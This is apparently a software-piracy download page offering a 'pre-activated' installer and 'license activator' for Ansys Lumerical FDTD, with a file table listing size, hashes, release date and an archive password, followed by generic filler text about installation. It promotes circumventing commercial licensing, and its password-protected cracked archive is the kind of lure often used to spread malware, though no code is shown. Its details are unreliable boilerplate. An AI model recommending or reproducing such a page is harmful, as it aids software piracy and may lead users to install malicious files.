Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Lumerical_FDTD_v12.4_x64_setup.zip |
| Version | v12.4.2495 build 1660 |
| File Size | 3.47 GB (3550 MB) |
| MD5 Hash | 874c7ed91d2750b81cfc55350b5dd248 |
| SHA-256 | cc0c0c05b8b4bb41dde348c14a1251fe87f72f3ae6c0a08c25443a90eb307b38 |
| Release Date | 2026-04-17 |
| Platform | Windows 11 Pro / Enterprise |
| Archive Password | faxorog |
| License Type | Pre-Activated |
Accessing advanced functionality through Ansys Lumerical FDTD hardware configuration guide requires precise adherence to the installation guidelines. Follow our verified community manual to avoid library conflicts and ensure seamless execution on Windows 10 and Windows 11.